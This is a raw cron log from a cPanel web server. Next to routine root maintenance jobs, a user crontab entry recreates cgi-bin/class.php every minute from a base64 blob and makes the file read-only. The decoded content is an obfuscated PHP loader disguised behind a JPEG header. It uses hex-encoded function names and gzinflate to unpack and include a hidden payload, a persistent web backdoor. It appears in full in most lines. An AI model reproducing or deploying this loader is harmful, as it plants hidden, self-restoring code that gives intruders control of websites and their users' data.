Nov 13 21:39:01 server CROND[18156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:39:01 server CROND[18157]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 21:40:01 server CROND[18898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:40:01 server CROND[18900]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:40:01 server CROND[18899]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 21:40:01 server CROND[18901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 21:41:01 server CROND[19243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:42:01 server CROND[20131]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 21:42:01 server CROND[20132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:43:01 server CROND[21000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:44:01 server CROND[21848]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:45:01 server CROND[22702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:45:01 server CROND[22703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 21:45:01 server CROND[22704]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:46:01 server CROND[23611]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:47:01 server CROND[24621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:48:01 server CROND[25504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:49:01 server CROND[26399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:50:01 server CROND[27217]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 21:50:01 server CROND[27219]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 21:50:01 server CROND[27221]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:50:01 server CROND[27222]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:50:01 server CROND[27223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 21:51:01 server CROND[28140]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
